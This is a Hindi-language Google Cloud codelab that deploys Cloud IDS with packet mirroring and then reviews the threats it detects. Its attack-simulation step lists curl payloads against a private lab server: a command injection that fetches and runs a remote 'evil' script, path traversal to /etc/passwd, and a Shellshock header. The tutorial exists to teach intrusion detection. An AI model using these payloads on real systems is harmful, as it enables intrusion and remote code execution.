1. परिचय
इस लैब में, Cloud IDS को डिप्लॉय किया जाता है. यह घुसपैठ का पता लगाने वाली अगली जनरेशन की बेहतर सेवा है. यह घुसपैठ, मैलवेयर, स्पायवेयर, और कमांड-एंड-कंट्रोल के हमलों का पता लगाती है. आपको कई हमलों का सिम्युलेशन करना होगा. साथ ही, Cloud Console में खतरे की जानकारी देखनी होगी.
आपको क्या सीखने को मिलेगा
- Cloud IDS एंडपॉइंट बनाने का तरीका
- gcloud कमांड की मदद से दो वर्चुअल मशीनें बनाने का तरीका
- पैकेट मिररिंग की नीति बनाने का तरीका
- वर्चुअल मशीन से हमले वाले ट्रैफ़िक का सिम्युलेशन करने का तरीका
- Cloud Console और Cloud Logging में खतरे की जानकारी देखने का तरीका
आपको इन चीज़ों की ज़रूरत होगी
- Linux की बुनियादी कमांड की जानकारी
2. Cloud IDS के इस्तेमाल के उदाहरण
Cloud IDS, Google Cloud की एक नेटिव सेवा है. यह ग्राहकों को अगली पीढ़ी की इंट्रूज़न डिटेक्शन सर्विस (आईडीएस) उपलब्ध कराती है. इससे ग्राहक, खतरों का पता लगाने और पीसीआई 11.4 जैसी अनुपालन से जुड़ी अपनी ज़रूरी शर्तों को पूरा कर पाते हैं. यह सेवा, Palo Alto Networks की थ्रेट प्रोटेक्शन टेक्नोलॉजी पर आधारित है. इससे घुसपैठ का पता लगाने की बेहतर सुविधा मिलती है. Google Cloud के बेहतरीन इन्फ़्रास्ट्रक्चर को Palo Alto Networks की बेहतरीन सुरक्षा के साथ मिलाकर, ग्राहकों को पूरी तरह से मैनेज की गई, बेहतर परफ़ॉर्मेंस वाली, और सबसे ज़्यादा सुरक्षा देने वाली, ऐडवांस थ्रेट डिटेक्शन सेवा का बेजोड़ कॉम्बिनेशन मिलता है.
क्लाउड पर माइग्रेट करने वाले ग्राहकों के लिए, सुरक्षा सबसे अहम होती है. उन्हें क्लाउड में भी, ऑन-प्रिमाइसेस की तरह ही सुरक्षा कंट्रोल चाहिए. जैसे, क्लाउड में घुसपैठ का पता लगाने वाली सेवा (आईडीएस). वे तीसरे पक्ष के सुरक्षा समाधान को डिप्लॉय करने और बुनियादी ढांचे को मैनेज करने या अपने खुद के सिग्नेचर लाने के बजाय, डिप्लॉय करने में आसानी, बेहतर परफ़ॉर्मेंस, और ऑप्टिमाइज़ की गई लागत के लिए, क्लाउड नेटिव मैनेज किए गए आईडीएस समाधान का इस्तेमाल करना पसंद करते हैं. Google Cloud IDS, शुरू से लेकर आखिर तक और अपने-आप स्केल होने वाली मैनेज की गई आईडीएस सेवा उपलब्ध कराता है. इससे ग्राहक, खतरों का विश्लेषण करने और उन्हें कम करने में समय बिता पाते हैं. साथ ही, उन्हें इन्फ़्रास्ट्रक्चर या खतरे के सिग्नेचर मैनेज करने के लिए ज़्यादा समय और संसाधन मिल पाते हैं.
क्लाउड आईडीएस को आउट ऑफ़ बैंड में डिप्लॉय किया जाता है. यह खतरों का पता लगा सकता है और उनके बारे में सूचना दे सकता है. हालांकि, यह खतरों को ब्लॉक नहीं कर सकता. यह Google Cloud Packet Mirroring का इस्तेमाल करके, नेटवर्क ट्रैफ़िक की एक कॉपी बनाता है. इस कॉपी का विश्लेषण, Palo Alto Network के थ्रेट डिटेक्शन इंजन का इस्तेमाल करके किया जाता है.
3. कोडलैब टोपोलॉजी

पहली इमेज. इस लैब के लिए, Cloud IDS डिप्लॉयमेंट के आर्किटेक्चर की खास जानकारी.
4. सेटअप और ज़रूरी शर्तें
अपने हिसाब से एनवायरमेंट सेट अप करना
- Google Cloud Console में साइन इन करें और नया प्रोजेक्ट बनाएं या किसी मौजूदा प्रोजेक्ट का फिर से इस्तेमाल करें. अगर आपके पास पहले से कोई Gmail या Google Workspace खाता नहीं है, तो आपको एक खाता बनाना होगा.



- प्रोजेक्ट का नाम, इस प्रोजेक्ट में हिस्सा लेने वाले लोगों के लिए डिसप्ले नेम होता है. यह एक कैरेक्टर स्ट्रिंग है, जिसका इस्तेमाल Google API नहीं करते. इसे किसी भी समय अपडेट किया जा सकता है.
- प्रोजेक्ट आईडी, सभी Google Cloud प्रोजेक्ट के लिए यूनीक होना चाहिए. साथ ही, इसे बदला नहीं जा सकता. Cloud Console, एक यूनीक स्ट्रिंग अपने-आप जनरेट करता है. आम तौर पर, आपको इससे कोई फ़र्क़ नहीं पड़ता कि यह क्या है. ज़्यादातर कोडलैब में, आपको प्रोजेक्ट आईडी का रेफ़रंस देना होगा. इसे आम तौर पर
PROJECT_IDके तौर पर पहचाना जाता है. इसलिए, अगर आपको यह पसंद नहीं है, तो कोई दूसरा रैंडम आईडी जनरेट करें. इसके अलावा, अपने हिसाब से कोई आईडी बनाकर देखें कि वह उपलब्ध है या नहीं. इसके बाद, प्रोजेक्ट बनाने के बाद इसे "फ़्रीज़" कर दिया जाता है. - तीसरी वैल्यू, प्रोजेक्ट नंबर होती है. इसका इस्तेमाल कुछ एपीआई करते हैं. इन तीनों वैल्यू के बारे में ज़्यादा जानने के लिए, दस्तावेज़ देखें.
- इसके बाद, आपको Cloud Console में बिलिंग चालू करनी होगी, ताकि Cloud संसाधनों/एपीआई का इस्तेमाल किया जा सके. इस कोडलैब को पूरा करने में ज़्यादा खर्च नहीं आएगा. संसाधन बंद करने के लिए, कोडलैब के आखिर में दिए गए "बंद करें" निर्देशों का पालन करें, ताकि इस ट्यूटोरियल के बाद आपको बिलिंग न करनी पड़े. Google Cloud के नए उपयोगकर्ताओं को, मुफ़्त में आज़माने के लिए 300 डॉलर का क्रेडिट मिलता है.
Cloud Shell शुरू करें
Google Cloud को अपने लैपटॉप से रिमोटली ऐक्सेस किया जा सकता है. हालांकि, इस कोडलैब में Google Cloud Shell का इस्तेमाल किया जाएगा. यह क्लाउड में चलने वाला कमांड लाइन एनवायरमेंट है.
GCP Console में, सबसे ऊपर दाईं ओर मौजूद टूलबार पर मौजूद Cloud Shell आइकॉन पर क्लिक करें:

इसे चालू करने और एनवायरमेंट से कनेक्ट करने में सिर्फ़ कुछ सेकंड लगेंगे. यह प्रोसेस पूरी होने के बाद, आपको कुछ ऐसा दिखेगा:

इस वर्चुअल मशीन में, डेवलपमेंट के लिए ज़रूरी सभी टूल पहले से मौजूद हैं. यह 5 जीबी की होम डायरेक्ट्री उपलब्ध कराता है. साथ ही, यह Google Cloud पर काम करता है. इससे नेटवर्क की परफ़ॉर्मेंस और पुष्टि करने की प्रोसेस बेहतर होती है. इस लैब में मौजूद सभी टास्क को सिर्फ़ ब्राउज़र की मदद से पूरा किया जा सकता है.
5. शुरू करने से पहले
एपीआई चालू करें
Cloud Shell में, पक्का करें कि आपका प्रोजेक्ट आईडी सेट अप हो
gcloud config list project gcloud config set project [YOUR-PROJECT-NAME] export PROJECT_ID=$(gcloud config get-value project | sed '2d')
सभी ज़रूरी सेवाएं चालू करें
gcloud services enable compute.googleapis.com gcloud services enable ids.googleapis.com gcloud services enable logging.googleapis.com
6. वीपीसी नेटवर्क बनाना
VPC नेटवर्क
Cloud Shell से
gcloud compute networks create cloud-ids \ --subnet-mode=custom
सबनेट
Cloud Shell से
gcloud compute networks subnets create cloud-ids-useast1 \ --range=192.168.10.0/24 \ --network=cloud-ids \ --region=us-east1
प्राइवेट सर्विस ऐक्सेस
Cloud Shell से
gcloud compute addresses create cloud-ids-ips \ --global \ --purpose=VPC_PEERING \ --addresses=10.10.10.0 \ --prefix-length=24 \ --description="Cloud IDS Range" \ --network=cloud-ids
Private Service Connect
Cloud Shell से
gcloud services vpc-peerings connect \ --service=servicenetworking.googleapis.com \ --ranges=cloud-ids-ips \ --network=cloud-ids \ --project=$PROJECT_ID
फ़ायरवॉल के नियम
आईएपी को अपने वीएम इंस्टेंस से कनेक्ट करने की अनुमति देने के लिए, फ़ायरवॉल का ऐसा नियम बनाएं जो:
- यह उन सभी वीएम इंस्टेंस पर लागू होता है जिन्हें आपको आईएपी का इस्तेमाल करके ऐक्सेस करना है.
- इसकी मदद से, 35.235.240.0/20 आईपी रेंज से इन्ग्रेस ट्रैफ़िक को आने की अनुमति मिलती है. इस रेंज में वे सभी आईपी पते शामिल हैं जिनका इस्तेमाल IAP, टीसीपी फ़ॉरवर्डिंग के लिए करता है.
Cloud Shell से
gcloud compute firewall-rules create allow-iap-proxy \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:22 \ --source-ranges=35.235.240.0/20
सर्वर को स्टैंडर्ड एचटीटीपी पोर्ट (टीसीपी 80) और आईसीएमपी प्रोटोकॉल की अनुमति देने के लिए:
- यह "server" नेटवर्क टैग वाले संसाधनों पर लागू होता है
- इससे सभी सोर्स से इनग्रेस की अनुमति मिलती है
Cloud Shell से
gcloud compute firewall-rules create allow-http-icmp \ --direction=INGRESS \ --priority=1000 \ --network=cloud-ids \ --action=ALLOW \ --rules=tcp:80,icmp \ --source-ranges=0.0.0.0/0 \ --target-tags=server
Cloud NAT इंस्टेंस बनाना
क्लाउड राऊटर
Cloud Shell से
gcloud compute routers create cr-cloud-ids-useast1 \ --region=us-east1 \ --network=cloud-ids
Cloud NAT
Cloud Shell से
gcloud compute routers nats create nat-cloud-ids-useast1 \ --router=cr-cloud-ids-useast1 \ --router-region=us-east1 \ --auto-allocate-nat-external-ips \ --nat-all-subnet-ip-ranges
7. Cloud IDS एंडपॉइंट बनाना
इस सेक्शन में, us-east1 में Cloud IDS Endpoint बनाया जाता है. साथ ही, गंभीरता के लेवल को सूचना के तौर पर सेट किया जाता है. आईडीएस एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं.
आईडीएस एंडपॉइंट
Cloud Shell से
gcloud ids endpoints create cloud-ids-east1 \ --network=cloud-ids \ --zone=us-east1-b \ --severity=INFORMATIONAL \ --async
पुष्टि करें कि Cloud IDS एंडपॉइंट शुरू हो गया है
gcloud ids endpoints list --project=$PROJECT_ID
आउटपुट -
ID: cloud-ids-east1 LOCATION: us-east1-b SEVERITY: INFORMATIONAL STATE: CREATING NETWORK: cloud-ids TRAFFIC_LOGS:
8. दो वर्चुअल मशीनें बनाना
इस सेक्शन में, आपको दो वर्चुअल मशीनें बनानी हैं. पहला आपका वेब सर्वर होगा, जो Cloud IDS को मिरर कर रहा है. दूसरी वर्चुअल मशीन, अटैक ट्रैफ़िक का सोर्स होगी.
वर्चुअल मशीन 1 (सर्वर)
Cloud Shell से
gcloud compute instances create server \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.20 \ --metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \ --tags=server \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
वर्चुअल मशीन 2 (क्लाइंट)
Cloud Shell से
gcloud compute instances create attacker \ --zone=us-east1-b \ --machine-type=e2-medium \ --subnet=cloud-ids-useast1 \ --no-address \ --private-network-ip=192.168.10.10 \ --image=debian-10-buster-v20210512 \ --image-project=debian-cloud \ --boot-disk-size=10GB
9. सर्वर तैयार किया जा रहा है
इस टास्क में, आपको अपने सर्वर की पुष्टि करनी होगी. साथ ही, अपने क्लाइंट के लिए ऐसा मैलवेयर पेलोड उपलब्ध कराना होगा जो नुकसान न पहुंचाता हो.
Cloud Shell के ज़रिए वीएम में एसएसएच करें
gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap
पुष्टि करें कि वेब सेवा चालू है
sudo systemctl status nginx
आउटपुट - पुष्टि करें कि ऐप्लिकेशन चालू है और काम कर रहा है
● nginx.service - A high performance web server and a reverse proxy server
Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
Docs: man:nginx(8)
Main PID: 1347 (nginx)
Tasks: 3 (limit: 4665)
Memory: 4.5M
CGroup: /system.slice/nginx.service
├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
├─1348 nginx: worker process
└─1349 nginx: worker process
May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.
डायरेक्ट्री को वेब सर्विस में बदलना
cd /var/www/html/
वेब सर्वर पर, नुकसान न पहुँचाने वाली मैलवेयर फ़ाइल बनाना
sudo touch eicar.file
कॉन्टेंट चिपकाएं
echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file
Cloud Shell पर वापस जाएं
exit
Cloud IDS की पैकेट मिररिंग नीति बनाना
आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम की पहचान करें और पुष्टि करें कि आईडीएस एंडपॉइंट की स्थिति "READY" है.
gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
आउटपुट का उदाहरण - "endpointForwardingRule" से वैल्यू कॉपी करें
user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b createTime: '2021-07-01T21:03:56.099839751Z' endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca endpointIp: 172.16.30.43 name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1 network: projects/ids-project/global/networks/cloud-ids severity: INFORMATIONAL state: READY updateTime: '2021-07-01T21:21:32.744309107Z'
आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम को किसी वैरिएबल में सेव करें.
export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)") echo $FORWARDING_RULE
पैकेट मिररिंग की नीति
Cloud Shell से
gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \ --region=us-east1 \ --collector-ilb=$FORWARDING_RULE \ --network=cloud-ids \ --mirrored-subnets=cloud-ids-useast1
पुष्टि करें कि पैकेट मिररिंग की नीति बनाई गई है
Cloud Shell से
gcloud compute packet-mirrorings list
आउटपुट
user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list NAME REGION NETWORK ENABLE cloud-ids-packet-mirroring us-east1 cloud-ids TRUE
10. हमले के ट्रैफ़िक को सिम्युलेट करना
हमलावर की वर्चुअल मशीन (क्लाइंट) में एसएसएच करें
Cloud Shell से
gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap
नुकसान पहुंचाने वाले ट्रैफ़िक को सिम्युलेट करने के लिए, यहां दिए गए कर्ल अनुरोधों को चलाएं.
curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical
CloudShell पर वापस जाने के लिए वीएम से बाहर निकलें
exit
11. Cloud IDS से पता चले जोखिमों की समीक्षा करना
Cloud IDS डैशबोर्ड पर जाना
नेविगेशन मेन्यू > नेटवर्क सुरक्षा > Cloud IDS

थ्रेट टैब पर जाएं.

जैसा कि आप देख सकते हैं, Cloud IDS ने अलग-अलग तरह के अटैक ट्रैफ़िक प्रोफ़ाइल कैप्चर की हैं. साथ ही, हर खतरे के बारे में जानकारी दी है. अगर आपको कोई खतरा नहीं दिखता है, तो हो सकता है कि आपको "रीफ़्रेश करें" बटन पर क्लिक करना पड़े. अब हम थोड़ी और जानकारी देखेंगे और खतरे के बारे में ज़्यादा जानकारी देखेंगे.
"Bash Remote Code Execution Vulnerability" थ्रेट का पता लगाएं. इसके बाद, दाईं ओर मौजूद तीन बिंदुओं पर क्लिक करें और "थ्रेट की जानकारी देखें" चुनें


अब हम Cloud Logging में इस घटना की जानकारी देखेंगे. बाईं ओर इशारा करने वाले ऐरो पर क्लिक करके, थ्रेट पेज पर वापस जाएं .
दाईं ओर मौजूद तीन बिंदुओं पर क्लिक करें और "खतरे के लॉग देखें" चुनें


Cloud Logging को भी यही जानकारी दी जाती है. इससे आपको Cloud Storage, Chronicle या किसी भी SIEM/SOAR को लॉग भेजने की सुविधा मिलती है. सूचनाओं के आधार पर समस्या हल करने के लिए, कस्टम वर्कफ़्लो भी बनाए जा सकते हैं. उदाहरण के लिए, ऐसी क्लाउड फ़ंक्शन बनाना जो सूचना मिलने पर ट्रिगर हो और आईपी पते को ब्लॉक करने के लिए फ़ायरवॉल का नियम बनाए/अपडेट करे या Cloud Armor की नीति बनाए/अपडेट करे.
12. क्लीनअप करने का तरीका
VM इंस्टेंस (सभी टैब) से बाहर निकलें
exit
एक ही Cloud Shell टर्मिनल से लैब कॉम्पोनेंट मिटाना
gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet gcloud compute instances delete server --zone=us-east1-b --quiet gcloud compute instances delete attacker --zone=us-east1-b --quiet gcloud compute firewall-rules delete allow-iap-proxy --quiet gcloud compute firewall-rules delete allow-http-icmp --quiet gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet gcloud compute addresses delete cloud-ids-ips --global --quiet gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet gcloud compute networks delete cloud-ids --quiet
13. बधाई हो!
कोडलैब पूरा करने के लिए बधाई.
हमने क्या-क्या बताया
- Cloud IDS के इस्तेमाल के उदाहरण
- नेटवर्क की ज़रूरी शर्तें
- काम करने वाले एपीआई
- Cloud IDS एंडपॉइंट बनाया गया
- दो वीएम डिप्लॉय किए गए हैं
- क्लाइंट से कुछ "हमला" ट्रैफ़िक जनरेट किया गया है
- पुष्टि किए गए खतरों का पता आईडीएस ने लगाया
- खतरे की जानकारी और लॉग देखना